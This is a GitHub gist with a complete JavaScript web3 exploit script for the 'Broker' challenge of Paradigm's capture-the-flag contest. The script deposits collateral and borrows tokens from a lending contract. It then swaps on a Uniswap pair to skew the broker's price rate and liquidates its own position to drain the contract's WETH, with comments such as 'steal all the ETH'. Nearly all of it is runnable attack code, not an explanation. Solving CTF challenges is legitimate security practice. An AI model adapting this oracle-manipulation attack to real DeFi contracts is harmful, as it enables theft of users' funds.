Skip to content

Instantly share code, notes, and snippets.

@jclancy93
Created February 13, 2021 17:26
Show Gist options
  • Save jclancy93/35de77326299e80df03b7ba9c80f4501 to your computer and use it in GitHub Desktop.
Save jclancy93/35de77326299e80df03b7ba9c80f4501 to your computer and use it in GitHub Desktop.
Exploit for Paradigm's CTF Broker Challenge
const setupAddress = 'YOUR_SETUP_ADDRESS';
const wethAddress = 'YOUR_WETH_ADDRESS';
const web3 = new Web3(web3Provider);
(async () => {
console.log('Running exploit.....');
try {
// Script Setup
console.log('Starting script setup....')
const setupABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/Setup.json'));
const brokerABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/Broker.json'));
const wethABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/WETH9.json'));
const tokenABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/Token.json'));
const uniswapPairABI = JSON.parse(await remix.call('fileManager', 'getFile', 'localhost/broker/public/contracts/artifacts/IUniswapV2Pair.json'));
console.log('Loaded all ABIs')
const setupContract = new web3.eth.Contract(setupABI.abi, setupAddress);
const brokerAddress = await setupContract.methods.broker().call();
const tokenAddress = await setupContract.methods.token().call();
const uniswapPairAddress = await setupContract.methods.pair().call();
const uniswapContract = new web3.eth.Contract(uniswapPairABI.abi, uniswapPairAddress);
const brokerContract = new web3.eth.Contract(brokerABI.abi, brokerAddress);
const wethContract = new web3.eth.Contract(wethABI.abi, wethAddress);
const tokenContract = new web3.eth.Contract(tokenABI.abi, tokenAddress);
const accounts = await web3.eth.getAccounts()
console.log('Finished script setup....')
// 1. Get 150 WETH
// 2. Approve Broker for all WETH
// 3. Deposit 50 WETH in broker
// 4. Borrow 250k tokens
// 5. Use other 2500 ETH to buy as many tokens as possible, pushing token price way up and rate way down
// 6. You are now undercollateralized, so you can call liquidate on yourself and get back all your ETH
console.log('Depositing WETH', JSON.stringify(accounts[0]))
await wethContract.methods.deposit().send({
from: accounts[0],
value: web3.utils.toWei('150', 'ether').toString()
})
const wethBalance = await wethContract.methods.balanceOf(accounts[0]).call()
// Approving broker contract for weth
const approval = await wethContract.methods.approve(brokerAddress, wethBalance).send({
from: accounts[0]
})
console.log('wethBalance: ', wethBalance)
// Deposit 50ETH to broker
await brokerContract.methods.deposit(web3.utils.toWei('50', 'ether').toString()).send({
from: accounts[0]
})
const safeDebt = await brokerContract.methods.safeDebt(accounts[0]).call()
console.log('SAFE DEBT SHOULD BE 666K', safeDebt)
console.log('Deposit complete')
// Borrow 250K Tokens from Broker
await brokerContract.methods.borrow(web3.utils.toWei('250000', 'ether')).send({
from: accounts[0]
})
const tokenBalance = await tokenContract.methods.balanceOf(accounts[0]).call()
const tokenTotalSupply = await tokenContract.methods.totalSupply().call()
console.log('Borrow complete')
console.log('Safe Debt is now: ', safeDebt)
console.log('Token balance is now: ', tokenBalance)
// Prepare to exectue Uniswap trade
// First transfer tokens to pair
// Then execute swap
// This will change the rate
const reserves = await uniswapContract.methods.getReserves().call()
const rate = await brokerContract.methods.rate().call()
console.log("Pool reserves: ", reserves) // 25:500_000
console.log("Broker rate: ", rate) // 20_000
// TRANSFER 25 ETH to
await tokenContract.methods.transferFrom(accounts[0], uniswapPairAddress, tokenBalance).send({ from: accounts[0] })
await tokenContract.methods.approve(uniswapPairAddress, tokenBalance).send({ from: accounts[0] })
await wethContract.methods.transferFrom(
accounts[0],
uniswapPairAddress,
web3.utils.toWei('100', 'ether')
).send({ from: accounts[0] });
await wethContract.methods.approve(uniswapPairAddress, wethBalance).send({ from: accounts[0] })
const uniswapPairAddressTokenZeroBalance = await tokenContract.methods.balanceOf(uniswapPairAddress).call()
const uniswapPairAddressTokenOneBalance = await wethContract.methods.balanceOf(uniswapPairAddress).call()
const newWethBalance = await wethContract.methods.balanceOf(accounts[0]).call()
console.log('newWethBalance', newWethBalance)
console.log('Swap setup complete, pool has tokens and approval, initiating swap')
console.log('Uniswap Pair WETH Balance: ', uniswapPairAddressTokenZeroBalance)
console.log('Uniswap Pair TOKEN Balance: ', uniswapPairAddressTokenOneBalance)
console.log('Swapping...')
// Receive 375k Tokens for 100ETH
await uniswapContract.methods.swap(web3.utils.toWei('375000', 'ether'), 0, accounts[0], '0x').send({
from: accounts[0]
})
console.log('trade complete')
const newReserves = await uniswapContract.methods.getReserves().call()
const newRate = await brokerContract.methods.rate().call()
console.log("New Broker rate: ", newRate)
console.log(newReserves, 'new reserves')
// Approve max tokens for broker contract
await tokenContract.methods.approve(brokerAddress, tokenBalance).send({ from: accounts[0] })
// Liquidate yourself at the new rate and steal all the ETH in the broker contract
await brokerContract.methods.liquidate(accounts[0], web3.utils.toWei('25000', 'ether')).send({
from: accounts[0]
})
const brokerWethBalance = await wethContract.methods.balanceOf(brokerAddress).call()
console.log('FINAL BROKER BALANCE: ', brokerWethBalance)
} catch (e) {
console.log(e.message)
}
})()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment